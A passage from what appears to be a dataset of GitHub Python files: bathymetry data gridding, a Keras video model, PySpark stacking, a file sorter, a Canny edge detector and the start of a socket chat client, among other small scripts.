grid\n box = self.full_img[r_idx:(r_idx+self.window_size),c_idx:(c_idx+self.window_size)]\n lat = np.mean(self.lats[r_idx:(r_idx+self.window_size)]) # average latitude coordinate of the data sample\n lon = np.mean(self.lons[c_idx:(c_idx+self.window_size)]) # average longitude coordinate of the sample\n \n # filter out data that contains gaps\n if ~np.any(box.mask): # if there are not any masked entries\n if not os.path.exists(os.path.join(self.im_dir, f'{prefix}_n-{i:06d}_lat-{lat:.4f}_lon-{lon:.4f}.npy')):\n # zero-mean the data\n box_zm = (box - np.median(box)).astype(np.float32)\n \n # save the data\n np.save(os.path.join(self.im_dir, f'{prefix}_n-{i:06d}_lat-{lat:.4f}_lon-{lon:.4f}.npy'), box_zm.data/scale_factor)\n \n # increment the data counter\n i += 1\n\n # increment the column index\n c_idx += step_size\n\n # increment the row index, restart the column index back to the left hand side\n r_idx += step_size\n c_idx = 0\n\n print(f'Total Samples: {i}')\n\n def grid_zm_scaled_png(self, scale_factor):\n \"\"\"\n Saves scaled zero-mean gridded data set as png's from a bathymetry map.\n\n Args:\n self: Gridder object, (see __init__ for variables) \n scale_factor: float, how much to divide all samples in the data set by in order to put into range -1 to 1\n\n \"\"\"\n\n # define the prefix for file saving\n prefix = 'im' if self.prefix is None else self.prefix\n\n # define the height and width of the fully loaded map\n height = self.full_img.shape[0]\n width = self.full_img.shape[1]\n\n # determine the step size based on the window size and overlap %\n step_size = self.window_size - int(np.floor(self.window_size*self.overlap))\n\n # initialize row index and column index to iterate over\n r_idx = 0\n c_idx = 0\n i = 0\n\n # begin the main loop\n while r_idx + self.window_size <= height:\n while c_idx + self.window_size <= width:\n # define the grid\n box = self.full_img[r_idx:(r_idx+self.window_size),c_idx:(c_idx+self.window_size)]\n lat = np.mean(self.lats[r_idx:(r_idx+self.window_size)]) # average latitude coordinate of the data sample\n lon = np.mean(self.lons[c_idx:(c_idx+self.window_size)]) # average longitude coordinate of the sample\n \n # filter out data that contains gaps\n if ~np.any(box.mask): # if there are not any masked entries\n if not os.path.exists(os.path.join(self.im_dir, f'{prefix}_n-{i:06d}_lat-{lat:.4f}_lon-{lon:.4f}.png')):\n # zero-mean the data, clip to -1 to 1\n box_zm = zm_to_8bit(np.clip((box - np.median(box)).astype(np.float32)/scale_factor, -1, 1))\n save_data = transforms.ToPILImage()(box_zm.data)\n \n # save the data\n save_data.save(os.path.join(self.im_dir, f'{prefix}_n-{i:06d}_lat-{lat:.4f}_lon-{lon:.4f}.png'))\n \n # increment the data counter\n i += 1\n\n # increment the column index\n c_idx += step_size\n\n # increment the row index, restart the column index back to the left hand side\n r_idx += step_size\n c_idx = 0\n\n print(f'Total Samples: {i}')\n\n def grid_zm_scaled_chunk(self, scale_factor):\n \"\"\"\n Obtains a chunk of gridded zero-mean data, scaled by scale factor\n\n Args:\n self: Gridder object, (see __init__ for variables) \n scale_factor: float, how much to divide all samples in the data set by in order to put into range -1 to 1\n\n Returns:\n chunk: gridded masked numpy array of shape (N, self.window_size, self.window_size, ...)\n means: the median value of each window in the chunk, this will be needed to re-transform the data output from the diffusion model for viewing\n R: number of rows of images (for indexing purposes)\n C: number of cols of images\n\n \"\"\"\n\n # define the prefix for file saving\n prefix = 'im' if self.prefix is None else self.prefix\n\n # define the height and width of the fully loaded map\n height = self.full_img.shape[0]\n width = self.full_img.shape[1]\n\n # determine the step size based on the window size and overlap %\n step_size = self.window_size - int(np.floor(self.window_size*self.overlap))\n\n # initialize row index and column index to iterate over\n r_idx = 0\n c_idx = 0\n i = 0\n\n # initialize the output\n chunk = []\n means = []\n\n # begin the main loop\n while r_idx + self.window_size <= height:\n while c_idx + self.window_size <= width:\n # define the grid\n box = self.full_img[r_idx:(r_idx+self.window_size),c_idx:(c_idx+self.window_size)]\n lat = np.mean(self.lats[r_idx:(r_idx+self.window_size)]) # average latitude coordinate of the data sample\n lon = np.mean(self.lons[c_idx:(c_idx+self.window_size)]) # average longitude coordinate of the sample\n \n # zero-mean the data\n if not np.all(box.mask):\n med_temp = np.median(box[~box.mask])\n else:\n med_temp = np.nan\n\n box_zm = (box - med_temp)/scale_factor\n box_zm.data[box.mask] = np.random.randn(len(box_zm.data[box.mask]))\n \n # output data to list\n chunk.append(box_zm)\n means.append(med_temp)\n \n # increment the data counter\n i += 1\n\n # increment the column index\n c_idx += step_size\n\n # increment the row index, restart the column index back to the left hand side\n r_idx += step_size\n c_idx = 0\n \n # count the number of rows/cols \n R = C = i = j = 0\n while i + self.window_size <= height:\n i += step_size\n R += 1\n \n while j + self.window_size <= width:\n # increment the column index\n j += step_size\n C += 1\n\n return np.ma.array(chunk), means, R, C\n \n def grid_simple_png(self):\n \"\"\"\n Obtains gridded samples and normalizes each individually to the range of 0 to 255 so that they can be saved as images using cv2.imwrite().\n\n Args:\n self: Gridder object, (see __init__ for variables) \n\n \"\"\"\n\n # define the prefix for file saving\n prefix = 'im' if self.prefix is None else self.prefix\n\n # define the height and width of the fully loaded map\n height = self.full_img.shape[0]\n width = self.full_img.shape[1]\n\n # determine the step size based on the window size and overlap %\n step_size = self.window_size - int(np.floor(self.window_size*self.overlap))\n\n # initialize row index and column index to iterate over\n r_idx = 0\n c_idx = 0\n i = 0\n\n # begin the main loop\n while r_idx + self.window_size <= height:\n while c_idx + self.window_size <= width:\n # define the grid\n box = self.full_img[r_idx:(r_idx+self.window_size),c_idx:(c_idx+self.window_size)]\n lat = np.mean(self.lats[r_idx:(r_idx+self.window_size)]) # average latitude coordinate of the data sample\n lon = np.mean(self.lons[c_idx:(c_idx+self.window_size)]) # average longitude coordinate of the sample\n \n # filter out data that contains gaps\n if ~np.any(box.mask): # if there are not any masked entries\n if not os.path.exists(os.path.join(self.im_dir, f'{prefix}_n-{i:06d}_lat-{lat:.4f}_lon-{lon:.4f}.png')):\n # zero-mean the data, clip to -1 to 1\n temp = box - box.min() # translate data minimum to zero\n box_data = ((temp / temp.max())*255).astype(np.uint8)\n save_data = transforms.ToPILImage()(box_data)\n \n # save the data\n save_data.save(os.path.join(self.im_dir, f'{prefix}_n-{i:06d}_lat-{lat:.4f}_lon-{lon:.4f}.png'))\n \n # increment the data counter\n i += 1\n\n # increment the column index\n c_idx += step_size\n\n # increment the row index, restart the column index back to the left hand side\n r_idx += step_size\n c_idx = 0\n\n print(f'Total Samples: {i}')\n\n \n def histogram_zm(self):\n \"\"\"\n Creates a distribution of zero-mean gridded samples to determine how to scale range of data to -1 to 1.\n\n Args:\n self: Gridder object\n \n Returns:\n 1D vector containing all zero-mean distance values from every grid sample\n \n \"\"\"\n \n # define the height and width of the fully loaded map\n height = self.full_img.shape[0]\n width = self.full_img.shape[1]\n\n # determine the step size based on the window size and overlap %\n step_size = self.window_size - int(np.floor(self.window_size*self.overlap))\n\n # initialize iteration variables\n r_idx = 0\n c_idx = 0\n i = 0\n out = []\n\n # begin the main loop\n while r_idx + self.window_size <= height:\n while c_idx + self.window_size <= width:\n # define the grid\n box = self.full_img[r_idx:(r_idx+self.window_size),c_idx:(c_idx+self.window_size)]\n\n # filter out data that contains gaps\n if ~np.any(box.mask): # if there are not any masked entries\n # zero-mean the data\n box_zm = (box - np.median(box)).astype(np.float32)\n\n # append data to 1D vector containing all image values\n out.append(box_zm.reshape(-1))\n \n # increment the data counter\n i += 1\n\n # increment the column index\n c_idx += step_size\n\n # increment the row index, reset the column index back to the beginning\n r_idx += step_size\n c_idx = 0\n \n return np.concatenate(out), i","repo_name":"malekinho8/machine-learning-packages","sub_path":"bathymetry_utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":17727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21505394275","text":"from keras.layers import Dense,Dropout,Conv3D,Input,MaxPool3D,Flatten,Activation, concatenate\nfrom keras.regularizers import l2\nfrom keras.models import Model\nimport models.models as m\nfrom keras.optimizers import SGD,Adam\n\nnum_classes = 10\nmodel_r3d18, generator_train_batch, generator_val_batch, generator_test_batch = m.r3d_18(num_classes)\nmodel_c3d, generator_train_batch, generator_val_batch, generator_test_batch = m.c3d(num_classes)\nx=model_c3d\ny=model_r3d18\ncombined = concatenate([x.output, y.output])\nz = Dense(2, activation=\"relu\")(combined)\nz = Dense(1, activation=\"linear\")(z)\nmodel = Model(inputs=[x.input, y.input], outputs=z)\n\nlr = 0.005\nopt = Adam(lr=lr, decay=0.9)\nmodel.compile(loss='categorical_crossentropy', optimizer=opt, metrics=['accuracy'])\nmodel.summary()","repo_name":"linto-project/linto-sp2","sub_path":"vision/laas/models/audio_test.py","file_name":"audio_test.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39312707229","text":"from pyspark.ml.feature import StringIndexer,Tokenizer,CountVectorizer\nfrom pyspark.ml import Pipeline\nfrom pyspark.sql import *\nfrom pyspark.sql.functions import *\nfrom pyspark.sql.types import IntegerType\ndef base_features_gen_pipeline(input_descript_col=\"descript\", input_category_col=\"category\", output_feature_col=\"features\", output_label_col=\"label\"):\n indexer=StringIndexer(inputCol=input_category_col,outputCol=output_label_col)\n wordtokenizer=Tokenizer(inputCol=input_descript_col,outputCol=\"words\")\n counter=CountVectorizer(inputCol=\"words\",outputCol=output_feature_col)\n pipeline=Pipeline(stages=[indexer,wordtokenizer,counter])\n return pipeline\ndef gen_meta_features(training_df, nb_0, nb_1, nb_2, svm_0, svm_1, svm_2):\n training_df.cache()\n #k-fold cross validation\n for i in range(5):\n condition = training_df['group'] == i # 1\n c_train = training_df.filter(~condition).cache()\n c_test = training_df.filter(condition).cache()\n # fitting the training data into naivr bayrs and svm model\n if i == 0:\n nb_model_0 = nb_0.fit(c_train)\n nb_model_1 = nb_1.fit(c_train)\n nb_model_2 = nb_2.fit(c_train)\n svm_model_0 = svm_0.fit(c_train)\n svm_model_1 = svm_1.fit(c_train)\n svm_model_2 = svm_2.fit(c_train)\n\n\n nb_pred_0 = nb_model_0.transform(c_test)\n nb_pred_1 = nb_model_1.transform(c_test)\n nb_pred_2 = nb_model_2.transform(c_test)\n \n \n svm_pred_0 = svm_model_0.transform(c_test)\n svm_pred_1 = svm_model_1.transform(c_test)\n svm_pred_2 = svm_model_2.transform(c_test)\n\n #union the result of first test group with other groups\n else:\n nb_model_0 = nb_0.fit(c_train)\n nb_model_1 = nb_1.fit(c_train)\n nb_model_2 = nb_2.fit(c_train)\n svm_model_0 = svm_0.fit(c_train)\n svm_model_1 = svm_1.fit(c_train)\n svm_model_2 = svm_2.fit(c_train)\n\n\n nb_pred_0 = nb_pred_0.union(nb_model_0.transform(c_test))\n nb_pred_1 = nb_pred_1.union(nb_model_1.transform(c_test))\n nb_pred_2 = nb_pred_2.union(nb_model_2.transform(c_test))\n svm_pred_0 = svm_pred_0.union(svm_model_0.transform(c_test))\n svm_pred_1 = svm_pred_1.union(svm_model_1.transform(c_test))\n svm_pred_2 = svm_pred_2.union(svm_model_2.transform(c_test))\n \n \n \n nb_pred_0 = nb_pred_0.alias('n0')\n nb_pred_1 = nb_pred_1.alias('n1')\n nb_pred_2 = nb_pred_2.alias('n2')\n svm_pred_0 = svm_pred_0.alias('s0')\n svm_pred_1 = svm_pred_1.alias('s1')\n svm_pred_2 = svm_pred_2.alias('s2')\n \n \n\n\n#joining the prediction of both the models\n df_res = nb_pred_0.join(nb_pred_1,col('n0.id') == col('n1.id'), 'left').join(nb_pred_2,col('n0.id') == col('n2.id'), 'left').join(svm_pred_0,col('n0.id') == col('s0.id'), 'left').join(svm_pred_1,col('n0.id') == col('s1.id'), 'left').join(svm_pred_2,col('n0.id') == col('s2.id'), 'left')\n \n df_res = df_res.select('n0.id','n0.features','n0.label','n0.group','n0.label_0','n0.label_1','n0.label_2','n0.nb_pred_0','n1.nb_pred_1','n2.nb_pred_2','s0.svm_pred_0','s1.svm_pred_1','s2.svm_pred_2')\n \n \n\n df_res = df_res.withColumn(\"joint_pred_0\", 2*col('nb_pred_0')+col('svm_pred_0'))\n df_res = df_res.withColumn(\"joint_pred_1\", 2*col('nb_pred_1')+col('svm_pred_1'))\n df_res = df_res.withColumn(\"joint_pred_2\", 2*col('nb_pred_2')+col('svm_pred_2'))\n \n \n return df_res\n\n\ndef test_prediction(test_df, base_features_pipeline_model, gen_base_pred_pipeline_model, gen_meta_feature_pipeline_model, meta_classifier):\n test_df = base_features_pipeline_model.transform(test_df)#task 1\n test_df = gen_base_pred_pipeline_model.transform(test_df)#ex notebook\n test_df = test_df.withColumn(\"joint_pred_0\", 2*col('nb_pred_0')+col('svm_pred_0'))\n test_df = test_df.withColumn(\"joint_pred_1\", 2*col('nb_pred_1')+col('svm_pred_1'))\n test_df = test_df.withColumn(\"joint_pred_2\", 2*col('nb_pred_2')+col('svm_pred_2'))\n test_df = gen_meta_feature_pipeline_model.transform(test_df)#task 2\n meta_df = meta_classifier.transform(test_df)\n meta_classifier_res = meta_df.select('id', 'label','final_prediction')\n \n \n return meta_classifier_res","repo_name":"swati-bharti/Stacking_Model_using_Pyspark","sub_path":"submission.py","file_name":"submission.py","file_ext":"py","file_size_in_byte":4340,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70670955948","text":"\"\"\"Changes associated with version Honeybee schema version 1.43.5.\"\"\"\n\n\ndef version_1_43_5(model_dict):\n \"\"\"Implement changes in a Model dict to make it compatible with version 1.43.5.\"\"\"\n if 'radiance' in model_dict['properties']:\n if 'modifiers' in model_dict['properties']['radiance']:\n for mod in model_dict['properties']['radiance']['modifiers']:\n if mod['type'] != 'BSDF':\n mod['type'] = mod['type'].capitalize()\n return model_dict\n","repo_name":"ladybug-tools/honeybee-schema","sub_path":"honeybee_schema/updater/version_1_43_5.py","file_name":"version_1_43_5.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"31692413425","text":"#!/usr/bin/python3\n\"\"\"The text_indentation function\"\"\"\n\n\ndef text_indentation(text):\n \"\"\"Function that set sentences with a new line\n\n Args:\n text (str): text to be formated\n \"\"\"\n if type(text) is not str:\n raise TypeError(\"text must be a string\")\n\n else:\n idx = 0\n for char in text:\n if idx == 0:\n if char == \" \":\n continue\n else:\n idx = 1\n if idx == 1:\n if \".\" in char or \"?\" in char or \":\" in char:\n print(char + '\\n')\n idx = 0\n else:\n print(char, end=\"\")\n","repo_name":"rafyc/holbertonschool-higher_level_programming","sub_path":"0x07-python-test_driven_development/5-text_indentation.py","file_name":"5-text_indentation.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13497153828","text":"\"\"\"\r\nADanayi\r\nThe sorter class\r\nThis is a class which does the sorting...\r\nThis is so Good!\r\n\"\"\"\r\n\r\nimport os\r\nimport shutil\r\nimport rarfile\r\nimport zipfile\r\nimport re\r\n\r\n__author = \"Abolfal Danayi\"\r\n\r\nmovie_ext_list = ['mpg', 'mpeg', 'avi', 'mov', 'wmv', 'asx', \\\r\n 'wma', 'asf', 'm4v', 'mkv', 'asf', 'mp2', 'mp4']\r\n\r\naudio_ext_list = ['mp3', 'm3u', 'm3u8', 'pls', 'cda', 'flac', 'mid', \\\r\n 'midi', 'acc', 'm4a', 'wav', 'acc', 'ogg', 'wpl']\r\n\r\nimage_ext_list = ['jpg', 'jpeg', 'png', 'bmp', 'tif', 'tiff', 'gif', \\\r\n 'psd', 'raw', 'ico']\r\n\r\ndocs_ext_list = ['docx', 'doc', 'pdf', 'txt', 'rtf', 'docm', 'wps',\\\r\n 'xls', 'xlsx', 'xlsm', 'ppt', 'csv', 'htm', 'html', 'xml', 'mht',\\\r\n 'mhtml', 'xps']\r\n\r\n\r\nclass Sorter:\r\n def __init__(self, unsorted_path, sort_into_path):\r\n self.spath = unsorted_path\r\n self.dpath = sort_into_path\r\n self.check = False\r\n if not os.path.exists(self.spath):\r\n print (\"There is no path...\")\r\n else:\r\n self.check = True\r\n if self.check:\r\n print(self.dpath)\r\n if os.path.exists(self.dpath):\r\n shutil.rmtree(self.dpath)\r\n self.Video = os.path.join(sort_into_path, \"Videos\")\r\n self.Audio = os.path.join(sort_into_path, \"Audios\")\r\n self.Image = os.path.join(sort_into_path, \"Images\")\r\n self.Doc = os.path.join(sort_into_path, \"Documents\")\r\n self.Other = os.path.join(sort_into_path, \"Others\")\r\n self.Comp = os.path.join(sort_into_path, \"Compressed\")\r\n if self.check:\r\n os.mkdir(sort_into_path)\r\n self.log = open(os.path.join(sort_into_path, \"log.txt\"), 'w')\r\n self.log.write(\"Easy file Arrange!\\n\")\r\n self.log.write(\"Made by ADanayi!\\n\")\r\n self.log.write(\"Please send me feedback if you find this app useful!\\n\")\r\n self.log.write(\"ADanayidet@gmail.com\\n\")\r\n self.log.write(\"----------------------------------------------------\\n\")\r\n os.mkdir(self.Video)\r\n os.mkdir(self.Audio)\r\n os.mkdir(self.Doc)\r\n os.mkdir(self.Other)\r\n os.mkdir(self.Image)\r\n os.mkdir(self.Comp)\r\n\r\n def sort(self):\r\n if not self.check:\r\n return False\r\n files = self.find_all_files(self.spath)\r\n for file in files:\r\n ext = self.ext(file)\r\n self.log.write(\"-----------------\\n\")\r\n self.log.write(\"File: {} -> Ext: {}\\n\".format(file, ext))\r\n if ext:\r\n if ext in movie_ext_list:\r\n adr = self.check_ext_folder(ext, self.Video)\r\n self.write_file(file, adr)\r\n elif ext in audio_ext_list:\r\n self.log.write(\"is Audio\\n\")\r\n adr = self.check_ext_folder(ext, self.Audio)\r\n self.write_file(file, adr)\r\n elif ext in docs_ext_list:\r\n self.log.write(\"is Doc\\n\")\r\n adr = self.check_ext_folder(ext, self.Doc)\r\n self.write_file(file, adr)\r\n elif ext in image_ext_list:\r\n self.log.write(\"is Image\\n\")\r\n adr = self.check_ext_folder(ext, self.Image)\r\n self.write_file(file, adr)\r\n elif ext == 'zip':\r\n self.log.write(\"is Zip\\n\")\r\n if self.zip_ok(file):\r\n adr = self.check_ext_folder(ext, self.Other)\r\n self.write_file(file, adr)\r\n else:\r\n self.log.write(\"Archive is empty\\n\")\r\n elif ext == 'rar':\r\n self.log.write(\"is Rar\\n\")\r\n if self.rar_ok(file):\r\n adr = self.check_ext_folder(ext, self.Other)\r\n self.write_file(file, adr)\r\n else:\r\n self.log.write(\"archive is empty\\n\")\r\n else:\r\n print(\"with no extention\\n\")\r\n self.write_file(file, adr)\r\n\r\n @staticmethod\r\n def find_all_files(tree_path):\r\n files_list = []\r\n all_list = os.listdir(tree_path)\r\n for name in all_list:\r\n adr = os.path.join(tree_path, name)\r\n if os.path.isfile(adr):\r\n files_list.append(adr)\r\n else:\r\n new_tree = adr\r\n files_list.extend(Sorter.find_all_files(new_tree))\r\n return files_list\r\n\r\n @staticmethod\r\n def ext(file_adr):\r\n RE = re.compile(r'.*\\.(.*?)$')\r\n matches = RE.match(file_adr)\r\n if matches:\r\n return matches.groups()[0]\r\n else:\r\n return False\r\n\r\n @staticmethod\r\n def rar_ok(file_adr):\r\n RF = rarfile.RarFile(file_adr)\r\n if RF.namelist() == []:\r\n return False\r\n else:\r\n return True\r\n\r\n @staticmethod\r\n def zip_ok(file_adr):\r\n RF = zipfile.ZipFile(file_adr)\r\n if RF.namelist() == []:\r\n return False\r\n else:\r\n return True\r\n\r\n @staticmethod\r\n def check_ext_folder(ext, folder):\r\n temp = os.path.join(folder, ext)\r\n if not os.path.exists(temp):\r\n os.mkdir(temp)\r\n return temp\r\n\r\n @staticmethod\r\n def write_file(file, adr):\r\n i = 0\r\n file_dir = ['file', 'dir']\r\n path = adr\r\n Sorter.get_file(file, file_dir)\r\n name = file_dir[1]\r\n n_name = name\r\n n_adr = os.path.join(path, name)\r\n while os.path.exists(n_adr):\r\n i += 1\r\n n_name = str(i) + \"_\" + name\r\n n_adr = os.path.join(path, n_name)\r\n print(n_adr)\r\n shutil.copy(file, n_adr)\r\n return True\r\n\r\n @staticmethod\r\n def get_file(file, seperated):\r\n sep = os.path.sep\r\n if sep == \"\\\\\":\r\n sep = \"\\\\\\\\\"\r\n pattern = r'(.*' + sep + r')(.*?)$'\r\n re_check = re.compile(pattern)\r\n ans = re_check.match(file)\r\n seperated[0] = ans.groups()[0]\r\n seperated[1] = ans.groups()[1]\r\n\r\n\r\n def __del__(self):\r\n if self.check:\r\n self.log.close()\r\n","repo_name":"ADanayi/FileSorter","sub_path":"sorter.py","file_name":"sorter.py","file_ext":"py","file_size_in_byte":6363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22788954678","text":"# https://leetcode.com/problems/minimum-cost-for-tickets/\nclass Solution:\n def mincostTickets(self, days: List[int], costs: List[int]) -> int:\n days = sorted(days)\n s = set(days)\n dp = [0]*(days[-1]+1)\n for i in range(1, days[-1]+1):\n if i not in days:\n dp[i] = dp[i-1]\n continue\n dp[i] = min(costs[0]+dp[i-1], costs[1] +dp[i-7] if i-7>=0 else costs[1], costs[2]+dp[i-30] if i-30>=0 else costs[2])\n # print(dp)\n return dp[-1]","repo_name":"nhatquang0672/LearningCP","sub_path":"LeetCode/problems/983. Minimum Cost For Tickets.py","file_name":"983. Minimum Cost For Tickets.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15275375638","text":"#获取异步中协程的返回值\n#方法1:使用回调函数\n\nimport asyncio\n\n\nasync def foo(x):\n print('start')\n await asyncio.sleep(x)\n return 'Done for {}s'.format(x)\n\n\nloop = asyncio.get_event_loop()\ntask = loop.create_task(foo(3))\n\n\ndef callback(future):\n print(future.result())\n\n\ntask.add_done_callback(callback)\n\nloop.run_until_complete(task)\n","repo_name":"xiaoxiaodelezi/python_study","sub_path":"协程/B站教程_Python 协程和异步IO/代码/7_1.py","file_name":"7_1.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1235695425","text":"import cv2\nimport numpy as np\n\nDIR = '.\\\\images\\\\'\ndef save_image(img,name,ID):\n cv2.imwrite(DIR+name+ID+'.png',img)\n \ndef get_angle_direction(angle):\n \"\"\"\n Converts angle to degrees and classified into 4 directions; vertical, horizontal and two diagonal directions\n \n Parameters\n -------------\n 1. angle : float - angle in radians\n \n Return value\n --------------\n Angle in degrees\n \n \"\"\"\n angle = np.rad2deg(angle)%180\n \n VERTICAL_CUT = 22.5\n DIAGONAL_CUT = 45\n if angle <= VERTICAL_CUT or angle >= 180 - VERTICAL_CUT:\n direction = 0\n elif angle <= VERTICAL_CUT + DIAGONAL_CUT:\n direction = 45\n elif angle <=VERTICAL_CUT + 2*DIAGONAL_CUT:\n direction = 90\n else:\n direction = 135\n \n return direction\n\ndef get_gradient(image,ksize):\n \"\"\"\n Returns gradient intensity and orientation of 'image' using sobel operator of size 'ksize'\n \"\"\"\n #Sobel operations\n sobelX = cv2.Sobel(image,cv2.CV_64F,1,0,ksize=ksize)\n sobelY = cv2.Sobel(image,cv2.CV_64F,0,1,ksize=ksize)\n \n #Calculating gradient intensity and orientation\n edge_gradient = np.hypot(sobelX,sobelY)\n edge_angle = np.arctan2(sobelY,sobelX)\n \n return edge_gradient,edge_angle\n\ndef non_maximum_suppression(image,edge_angle):\n \"\"\"\n Removes any unwanted pixels which may not constitute the edge. For this, at every pixel, pixel is checked if it is a \n local maximum in its neighborhood in the direction of gradient.\n \n Parameters\n -------------\n 1. image : ndarray - gradient intensity image\n 2. edge_angle : ndarray - gradient orientation image\n \n Return value\n --------------\n Suppressed image\n \n \"\"\"\n rows,cols = image.shape\n suppression = np.zeros((rows,cols),dtype=np.int32)\n \n for i in range(rows):\n for j in range(cols):\n #Boundary pixels are not considered\n if i==0 or j==0 or i==rows-1 or j==cols -1:\n continue\n \n direction = get_angle_direction(edge_angle[i][j])\n\n if direction == 0 and image[i][j] >= image[i][j-1] and image[i][j] >= image[i][j+1]:\n suppression[i][j] = image[i][j]\n elif direction ==45 and image[i][j] >= image[i-1][j+1] and image[i][j] >= image[i+1][j-1]:\n suppression[i][j] = image[i][j]\n elif direction == 90 and image[i][j] >= image[i+1][j] and image[i][j] >= image[i-1][j]:\n suppression[i][j] = image[i][j]\n elif direction == 135 and image[i][j] >= image[i-1][j-1] and image[i][j] >= image[i+1][j+1]:\n suppression[i][j] = image[i][j]\n \n return suppression\n \n \ndef hysteresis_threshold(image,minVal,maxVal):\n \"\"\"\n Decides which are all edges are really edges and which are not\n \n Parameters\n -------------\n 1. image : ndarray - suppressed edge image\n 2. minVal : Integer - first threshold for the hysteresis procedure\n 3. maxVal : Integer - second threshold for the hysteresis procedure\n \n Return value\n -------------------\n Image with only strong edges\n \"\"\"\n \n WEAK_EDGE = 100\n STRONG_EDGE = 255\n \n if minVal>maxVal:\n raise ValueError(\"minVal should be less than or equal to maxVal\")\n \n image[image > maxVal] = STRONG_EDGE\n image[np.logical_and(image >= minVal, image <= maxVal)] = WEAK_EDGE\n image[image < minVal] = 0\n \n row,cols = image.shape\n for i in range(row):\n for j in range(cols):\n if image[i][j] == WEAK_EDGE:\n try:\n if STRONG_EDGE in [image[i+1][j],image[i-1][j],image[i][j+1],image[i][j-1],image[i+1][j+1],image[i-1][j-1],image[i+1][j-1],image[i-1][j+1]]:\n image[i][j] = STRONG_EDGE\n else:\n image[i][j] = 0\n except IndexError as error:\n pass\n return image\n \n \ndef Canny(image,outname,minVal,maxVal,ksize=3,Gaus_Size=3):\n \"\"\"\n Finds the edges in an image\n \n Steps involved:\n 1. Noise reduction using Gaussian filter\n 2. Finding intensity gradient of the image using Sobel kernels\n 3. Non-maximum suppression to remove unwanted pixels\n 4. Hysteresis thresholding to get the strong edges\n \n Parameters\n --------------\n 1. image : ndarray input - image\n 2. minVal : Integer - first threshold for the hysteresis procedure\n 3. maxVal : Integer - second threshold for the hysteresis procedure\n 4. ksize : Integer - kernel size for the Sobel operator. (Default = 3)\n \n Return value\n --------------\n Binary edge image\n \n \"\"\"\n \n #Noise reduction using Gaussian filter\n blured_img = cv2.GaussianBlur(image,(Gaus_Size,Gaus_Size),0)\n save_image(blured_img,'blured_img',outname)\n \n #Finding intensity gradient of the image using Sobel kernels\n edge_gradient,edge_angle = get_gradient(image,ksize)\n save_image(edge_gradient,'edge_gradient',outname)\n \n #Non-maximum suppression to remove unwanted pixels\n suppressed_edge_img = non_maximum_suppression(edge_gradient,edge_angle)\n save_image(suppressed_edge_img,'suppressed_edge_img',outname)\n \n #Hysteresis thresholding to get the strong edges\n h_thresh_image = hysteresis_threshold(suppressed_edge_img,minVal,maxVal)\n \n return h_thresh_image\n","repo_name":"sandeepnmenon/Computer-Vision-Assignments","sub_path":"assignment1/Canny Edge Detector/cannyedge.py","file_name":"cannyedge.py","file_ext":"py","file_size_in_byte":5448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8244649068","text":"n1=int(input(\"Digite o valor inicial da PA:\\n\"))\nr=int(input(\"Digite a razão da sua PA:\\n\"))\ncont=1\npa=n1\nm=10\nf=0\nwhile m !=0:\n f=f+m\n while cont<=f:\n print(pa,end=\"->\")\n pa=pa+r\n cont+=1\n print(\"FIM!\")\n m=int(input(\"Quantos termos a mais você deseja mostrar?\"))\nprint(\"Fim\")\n\n","repo_name":"ViniciusRabaneda/Python","sub_path":"Exercicios/ex62-pamelhorado.py","file_name":"ex62-pamelhorado.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6468062781","text":"from socket import *\nfrom protocol import *\n\nimport time\nimport sys\nimport threading\nimport queue\n\nimport tkinter as tk\n\n# init variables\ndebug = True\n\nusername = sys.argv[1]\nprint(username)\n\n# init connection with server\ns = socket(AF_INET, SOCK_STREAM) # creat socket\ns.connect((HOST, PORT)) # make connection\n\nregister_request = SEPARATOR + REGISTER_USER + SEPARATOR + username + SEPARATOR\ns.send(bytes(register_request, 'UTF-8'))\n\nstatus = s.recv(BUFSIZE)\nstatus = status.decode(\"UTF-8\")\nprint(status)\n\nif (status == STATUS_FAIL):\n print(\"SERWER ODMOWIL REJESTRACJI!\\nPrawdopodobnie uzyta nazwa uzytkownika jest juz zajeta lub zastrzezona. Sprobuj ponownie.\\n\")\n s.close()\n exit()\n\n# cause im registered, now i can make a threads for program\n\nclass MsgRecv(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n self.messages = queue.Queue()\n self.running = False\n \n def run(self):\n \n self.running = True\n \n while self.running:\n try:\n dane = s.recv(BUFSIZE)\n \n echodane = dane.decode('UTF-8')\n echodane = echodane.split(SEPARATOR+SEPARATOR)\n \n if debug:\n print(echodane)\n \n #Gdyby przyszly sklejone\n for i in range(len(echodane)-1):\n echodane[i] += SEPARATOR\n \n for i in range(len(echodane)-1):\n echodane[len(echodane)-i-1] = SEPARATOR + echodane[len(echodane)-i-1]\n \n for x in echodane:\n self.messages.put(x)\n \n time.sleep(1)\n if debug:\n print(\"CLIENT RECEIVED {0}\".format(echodane)) \n \n except Exception as e:\n \n if debug:\n print(type(e))\n self.running = False\n self.messages = []\n s.close()\n exit()\n print(\"ASD\\n\")\n s.close()\n \n\nlistener = MsgRecv()\nlistener.start()\n\n# GUI\n\nclass MyApp:\n def __init__(self, root, listener):\n self.listener = listener\n \n self.root = root\n self.root.title(\"Chat: \" + username)\n self.root.minsize(600,400)\n \n self.mainFrame = tk.Frame(self.root)\n self.mainFrame.grid(row=0, column=0, sticky=tk.N + tk.S + tk.W + 